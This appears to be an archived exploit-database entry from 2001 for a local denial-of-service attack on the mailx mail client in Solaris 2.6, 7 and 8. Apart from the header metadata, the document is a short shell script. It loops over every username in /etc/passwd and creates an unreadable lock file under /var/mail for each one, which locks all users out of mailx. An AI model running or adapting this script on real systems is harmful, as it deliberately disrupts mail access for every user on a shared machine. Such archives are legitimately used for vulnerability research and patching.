Solaris 2.6 / 7 / 8 - Lock Users Out of mailx

Author: Optyx
type: dos
platform: solaris
port: 
date_added: 2001-01-02 
date_updated:  
verified: 1 
codes: OSVDB-61199 
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#!/bin/sh
#
# Solaris mailx(1) username.lock  proof of theory
# makes mailx not work for all users except those
# that  can erase the lockfile even so mailx will
# hang for a long time.
#
# Tested on Solaris 2.6, 7, 8
#
# by Optyx <optyx@uberhax0r.net>
# http://www.uberhax0r.net

echo "mailx-lock by optyx. http://www.uberhax0r.net"
for x in `cat /etc/passwd | cut -d':' -f1`;do
touch /var/mail/$x.lock
chmod 0 /var/mail/$x.lock
done


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